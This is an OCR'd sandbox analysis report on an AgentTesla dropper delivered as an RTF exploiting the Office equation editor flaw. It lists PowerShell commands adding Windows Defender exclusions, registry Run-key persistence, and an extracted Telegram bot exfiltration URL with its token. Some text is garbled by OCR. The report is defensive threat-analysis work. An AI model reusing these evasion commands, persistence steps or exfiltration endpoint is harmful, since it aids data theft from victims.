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Windows Analysis Report Customer-unionroadwaysltd-...

Overview
General Information Detection Signatures Classification
Sample Customer-
Name: unionroadwaysltd-8754- MALICIOUS Antivirus detection for URL or. domain
PO.doc__.rtf

Found malware configuration
Analysis ID: 435313

Multi AV Scanner detection for dropp...

MDs: 97021239d41dc5..

SHAL: Multi AV Scanner detection for subm...
: 1blfaa516a3774f..

SHA256: 3226978393819, Sigma detected: Droppers Exploiting...

Tags: ﬂ Sigma detected: EQNEDT32.EXE c...

Infos: n E Q ‘f il & Sigma detected: File Dropped By EQ...

Sigma detected: Powershell adding ...

entTesla Sigma detected: Suspect Svchost A...
Score: 100 System process connects to networ...
il Range: 0-100 Yara detected AgentTesla
Whitelisted: false
X Yara detected AgentTesla
Confidence: 100%

Adds a directory exclusion to Windo...

Creates an autostart registry key po...

Creates multiple autostart registry ke...

G Toelels T |

Process Tree
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= System is w7x64
. WINWORD.EXE (PID: 2028 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
* Jo EQNEDT32.EXE (PID: 2736 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5:
A87236E214F6D42A65F5DEDAC816AECS)
e @ DPuity.exe (PID: 2760 cmdline: C:\Users\user\AppData\Roaming\putty.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
e 3§ powershell.exe (PID: 2852 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roami
ng\putty.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 2428 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roami
ng\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe’ -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 2180 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roami
ng\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe’ -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 2276 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roami
ng\putty.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
® om ©888z168ybTRefC409a4S5mn4lofdd.exe (PID: 2948 cmdline: 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRe
fC409a4S5mn4lofdd.exe’ MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
e 4 powershell.exe (PID: 2344 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\App
Data\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41lofdd.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 2656 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resour
ces\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 2428 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\App
Data\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 2276 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resour
ces\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
o om €888z168ybTRefC409a4S5mn4lofdd.exe (PID: 2532 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRef
C409a4S5mn4lofdd.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
e 4 powershell.exe (PID: 1748 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes
\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 2236 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roami
ng\putty.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 1664 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes
\aero\Shell\52V57U7\svchost.exe’ -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e @m Puity.exe (PID: 2112 cmdline: C:\Users\user\AppData\Roaming\putty.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
* om €888z168ybTRefC409a4S5mn4lofdd.exe (PID: 3036 cmdline: 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5m
n4lofdd.exe’ MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
e [ svchostexe (PID: 2176 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)
. w WerFault.exe (PID: 2232 cmdline: C:\Windows\SysWOW&64\WerFault.exe -u -p 3036 -s 1132 MD5: 5SFEAB868CAEDBBD1B7A145CA8261E4AA)
. w WerFault.exe (PID: 2852 cmdline: C:\Windows\SysWOWe64\WerFault.exe -u -p 2032 -s 1132 MD5: 5SFEAB868CAEDBBD1B7A145CA8261E4AA)
o @m svchostexe (PID: 1492 cmdline: 'C:\Windows\Resources\Themes\aero\Shel\52V57U7\svchost.exe' MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
e 3 powershell.exe (PID: 2732 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes
\aero\Shel\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e @4 powershell.exe (PID: 2736 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes
\aero\Shell\52V57U7\svchost.exe’ -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e k4 powershell.exe (PID: 2564 cmdline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe’ Add-MpPreference -ExclusionPath ‘C:\Windows\Resources\Themes
\aero\Shell\52V57U7\svchost.exe’ -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e @4 powershell.exe (PID: 2544 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes
\aero\Shell\52V57U7\svchost.exe’ -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e @m svchostexe (PID: 2612 cmdline: C:\Windows\Resources\Themes\aero\Shel\52V57U7\svchost.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
* gam Oweruiuyt.exe (PID: 2676 cmdline: 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
e & powershell.exe (PID: 2832 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local
\Temp\qweruiuyt\qweruiuyt.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 1900 cmdline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe’ Add-MpPreference -ExclusionPath ‘'C:\Windows\Resources\Themes
\aero\Shell\52V57U7\svchost.exe’ -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e 4 powershell.exe (PID: 1192 cmdline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe’ Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local
\Temp\qweruiuyt\qweruiuyt.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e (4 powershell.exe (PID: 2748 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes
\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
* am Oweruiuyt.exe (PID: 1852 cmdline: C:\Users\user\AppData\Local\Temp\gweruiuyt\qweruiuyt.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
* am Oweruiuyt.exe (PID: 2500 cmdline: C:\Users\user\AppData\Local\Temp\gweruiuyt\qweruiuyt.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
* gm Oweruiuyt.exe (PID: 2032 cmdline: 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' MD5: F72277EEBAF6B7E2891B7BA24188EBDA)
e [ svchostexe (PID: 1904 cmdline: C:\Windows\system32\svchost.exe -k LocalService MD5: C78655BC80301D76ED4FEF1C1EA40A7D)
e [ svchost.exe (PID: 1480 cmdline: C:\Windows\system32\svchost.exe -k LocalService MD5: C78655BC80301D76ED4FEF1C1EA40A7D)
e [ svchostexe (PID: 652 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch MD5: C78655BC80301D76ED4FEF1C1EA40A7D)
= cleanup

Malware Configuration

Threatname: Agenttesla

"Exfil Mode": "Telegram",
"Chat id": "1656309456",
"Chat URL": "https://api.telegram.org/bot1808150300:AAFr5mDhGIk551RZMS6fZfbBAMINTOk1gDQ/sendDocument”
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Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000013.00000002.2356991677.00000000004 JoeSecurity_AgentTesla_1 Yara detected Joe Security
02000.00000040.00000001.sdmp AgentTesla
00000013.00000002.2356991677.00000000004 JoeSecurity_AgentTesla_2 Yara detected Joe Security
02000.00000040.00000001.sdmp AgentTesla
00000037.00000002.2355316042.00000000004 JoeSecurity_AgentTesla_1 Yara detected Joe Security
02000.00000040.00000001.sdmp AgentTesla
00000037.00000002.2355316042.00000000004 JoeSecurity_AgentTesla_2 Yara detected Joe Security
02000.00000040.00000001.sdmp AgentTesla
00000020.00000002.2355374665.00000000004 JoeSecurity_AgentTesla_1 Yara detected Joe Security
02000.00000040.00000001.sdmp AgentTesla

Click to see the 1 entries

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: Suspect Svchost Activity
Sigma detected: System File Execution Location Anomaly
Sigma detected: Non Interactive PowerShell

Sigma detected: Windows Processes Suspicious Parent Directory

Malware Analysis System Evasion:

Sigma detected: Powershell adding suspicious path to exclusion list

Signature Overview

\E’ Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Networking:

Uses the Telegram API (likely for C&C communication)
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=

System Summary:

Persistence and Installation Behavior:

=

aa

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

=

]‘

Malware Analysis System Evasion:

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

=

Stealing of Sensitive Information:

Yara detected AgentTesla

Yara detected AgentTesla

Remote Access Functionality:

Yara detected AgentTesla

Yara detected AgentTesla

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Commar
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Con
Valid Windows Management  Startup Startup Items Disable or Modify oS File and Directory Remote Archive Exfiltration Web
Accounts  Instrumentation Items Tools Credential  Discovery Services Collected  Over Other Service §
Dumping Data () Network
Medium
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Initial Privilege

Access Execution Persistence Escalation Defense Evasion
Default Exploitation for Client Registry Run  Access Token Obfuscated Files or
Accounts Execution Keys / Startup  Manipulation Information

Folder

Domain Command and Scripting Logon Script Process Timestomp
Accounts Interpreter (Windows) Injection

Local At (Windows) Logon Script Registry Run Masquerading
Accounts (Mac) Keys / Startup

Folder

Cloud Cron Network Logon Network Logon  Virtualization/Sandbox
Accounts Script Script Evasion
Replication  Launchd Rc.common Rc.common Access Token
Through Manipulation
Removable

Media

External Scheduled Task Startup Items  Startup ltems Process

Remote Injection
Services

Drive-by Command and Scripting Scheduled Scheduled Hidden Files and
Compromise Interpreter Task/Job Task/Job Directories
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:/fapdocroto.gg/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal- 0% Avira URL Cloud safe
0B579F7D05D398DAB455FIEFDAAC3695.html

http:ifhttps://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_Gettylmages- 0% URL Reputation safe
1304940818.

http:ifhttps://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_Gettylmages- 0% URL Reputation safe
1304940818.

http:ifhttps://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_Gettylmages- 0% URL Reputation safe
1304940818.

http:/fapdocroto.gg/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal- 0% Avira URL Cloud safe
CC63E54262373453B19DBF613B3334DE.html

http:ifhttps://i2- 0% URL Reputation safe
prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg

http:ifhttps:/fi2- 0% URL Reputation safe
prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg

http:ifhttps:/fi2- 0% URL Reputation safe
prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg
http:i/https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao- 0% URL Reputation safe
171668

http:i/https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao- 0% URL Reputation safe
171668

http:i/https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao- 0% URL Reputation safe
171668

http:ifhttps://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp- 0% URL Reputation safe
Image-2021-02-

http:ifhttps://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp- 0% URL Reputation safe
Image-2021-02-

http:ifhttps://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp- 0% URL Reputation safe
Image-2021-02-

hitp://https://i2- 0% URL Reputation safe
prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_Gettylmages-11837

http:i/https:/fi2- 0% URL Reputation safe
prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_Gettylmages-11837

http:i/https:/fi2- 0% URL Reputation safe
prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_Gettylmages-11837
http:i/https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_Gettylmages- 0% URL Reputation safe
1273716690

http:i/https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_Gettylmages- 0% URL Reputation safe
1273716690

http://https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_Gettylmages- 0% URL Reputation safe
1273716690
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Source Detection Scanner Label Link

http://https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_Gettylmages- 0% URL Reputation safe
1302496803.

http://https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_Gettylmages- 0% URL Reputation safe
1302496803.

http://https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_Gettylmages- 0% URL Reputation safe
1302496803.

http://https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs- 0% URL Reputation safe
Leeds.jp

http://https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs- 0% URL Reputation safe
Leeds.jp

http://https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs- 0% URL Reputation safe
Leeds.jp

http://https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp- 0% URL Reputation safe
Image-2021-03-

http://https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp- 0% URL Reputation safe
Image-2021-03-

http://https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp- 0% URL Reputation safe
Image-2021-03-

http://https://www.liverpool.com/all-about/premier-league 0% URL Reputation safe
http://https://www.liverpool.com/all-about/premier-league 0% URL Reputation safe
http://https://www.liverpool.com/all-about/premier-league 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah- 0% URL Reputation safe
Pressing.jpg

http://https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah- 0% URL Reputation safe
Pressing.jpg

http://https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah- 0% URL Reputation safe
Pressing.jpg

http://https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp- 0% URL Reputation safe
Image-2021-03-

http://https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp- 0% URL Reputation safe
Image-2021-03-

http://https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp- 0% URL Reputation safe
Image-2021-03-

http://https://www.liverpool.com/liverpool-fc-news/ 0% URL Reputation safe
http://https://www.liverpool.com/liverpool-fc-news/ 0% URL Reputation safe
http://https://www_liverpool.com/liverpool-fc-news/ 0% URL Reputation safe
http://https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154 0% URL Reputation safe
http://https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154 0% URL Reputation safe
http://https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_Gettylmages- 0% URL Reputation safe
1231353837.

http://https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_Gettylmages- 0% URL Reputation safe
1231353837.

http://https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_Gettylmages- 0% URL Reputation safe
1231353837.

http://https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850 0% URL Reputation safe
http://https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850 0% URL Reputation safe
http://https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850 0% URL Reputation safe
http:i/https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp- 0% URL Reputation safe
Image-2021-02

http:i/https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp- 0% URL Reputation safe
Image-2021-02

http:ifhttps://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp- 0% URL Reputation safe
Image-2021-02

http:ifhttps://i2- 0% URL Reputation safe
prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg

http://https://i2- 0% URL Reputation safe
prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg

http://https://i2- 0% URL Reputation safe
prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg
http://https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png 0% URL Reputation safe
http://https:/iwww.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer- 0% URL Reputation safe
1876

http://https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer- 0% URL Reputation safe
1876

http://https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer- 0% URL Reputation safe
1876
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Source Detection Scanner Label Link

http://https://i2- 0% URL Reputation safe
prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg

http://https://i2- 0% URL Reputation safe
prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg

http://https://i2- 0% URL Reputation safe
prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg
http://https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets- 0% URL Reputation safe
1996166

http://https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets- 0% URL Reputation safe
1996166

http://https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets- 0% URL Reputation safe
1996166

http://https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer- 0% URL Reputation safe
weghorst

http://https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer- 0% URL Reputation safe
weghorst

http://https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer- 0% URL Reputation safe
weghorst

http://https://reachplc.hub.loginradius.com” 0% Avira URL Cloud safe
http://https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp- 0% URL Reputation safe
Image-2021-03-

http://https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp- 0% URL Reputation safe
Image-2021-03-

http://https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp- 0% URL Reputation safe
Image-2021-03-

http://https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_Gettylmages- 0% URL Reputation safe
1304940818.

http://https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_Gettylmages- 0% URL Reputation safe
1304940818.

http://https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_Gettylmages- 0% URL Reputation safe
1304940818.

http://https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_Gettylmages- 0% URL Reputation safe
1273716690

http://https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_Gettylmages- 0% URL Reputation safe
1273716690

http://https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_Gettylmages- 0% URL Reputation safe
1273716690

http://https://s2-prod.liverpool.com 0% URL Reputation safe
http://https://s2-prod.liverpool.com 0% URL Reputation safe
http://https://s2-prod.liverpool.com 0% URL Reputation safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
http://https://www_liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816 0% URL Reputation safe
http://https://www_liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816 0% URL Reputation safe
http://https://www_liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816 0% URL Reputation safe
http://https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_Gettylmages- 0% URL Reputation safe
1231353837

http://https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_Gettylmages- 0% URL Reputation safe
1231353837

http://https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_Gettylmages- 0% URL Reputation safe
1231353837

http://https://i2-prod.liverpool.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

api.telegram.org 149.154.167.220 true false high
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Contacted URLs

Name Malicious Antivirus Detection Reputation

http:/fapdocroto.gg/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal- false e Avira URL Cloud: safe unknown
0B579F7D05D398DAB455F9EFDAAC3695.html

http:/fapdocroto.gg/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal- false e Avira URL Cloud: safe unknown
CC63E54262373453B19DBF613B3334DE.html

http:/fapdocroto.gg/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal- false e Avira URL Cloud: safe unknown
73850014335AB72CBE7866A38A201CD2.html

URLs from Memory and Binaries

Contacted IPs

Public
Domain Country Flag ASN Name Malicious
149.154.167.220 api.telegram.org United Kingdom 62041 TELEGRAMRU false

General Information

Joe Sandbox Version: 32.0.0 Black Diamond

Analysis ID: 435313

Start date: 16.06.2021

Start time: 12:04:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 18m 15s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Customer-unionroadwaysltd-8754-PO.doc__.rtf

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)

Number of analysed new started processes 58

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.adwa.spyw.expl.evad. winRTF@64/47 @28/4
EGA Information: Failed

HDC Information: e Successful, ratio: 2.9% (good quality ratio 0.3%)

e Quality average: 6%

e Quality standard deviation: 19.5%
HCA Information: ® Successful, ratio: 100%

e Number of executed functions: 0

e Number of non-executed functions: 0
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Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

12:04:34
12:04:36
12:04:55
12:04:57
12:04:59

12:05:12

12:05:16
12:05:17
12:05:21

12:05:29

12:05:38
12:05:42

Joe Sandbox View | Context

IPs

Match
104.21.14.60

Copyright Joe Security LLC 2021

Show All

Type

API Interceptor
API Interceptor
API Interceptor
API Interceptor

Autostart

Autostart

API Interceptor
API Interceptor

Autostart

Autostart

API Interceptor

Autostart

Associated Sample Name / URL

Found application associated with file extension: .rtf
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Description

13x Sleep call for process: EQNEDT32.EXE modified

1168x Sleep call for process: putty.exe modified

375x Sleep call for process: powershell.exe modified

880x Sleep call for process: e888z168ybTRefC409a4S5mn4lofdd.exe modified

Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a
4S5mn4lofdd.exe

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce e888z168ybTRefC409a4S5mn4lofdd
C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe

451x Sleep call for process: svchost.exe modified
543x Sleep call for process: WerFault.exe modified

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce €888z168ybTRefC409a4S5mn4lofdd
C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run gweruiuyt C:\Users\user\AppData\Local\Temp
\qweruiuyt\qweruiuyt.exe

206x Sleep call for process: qweruiuyt.exe modified

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run gweruiuyt C:\Users\user\AppData\Local\Temp\q
weruiuyt\qweruiuyt.exe

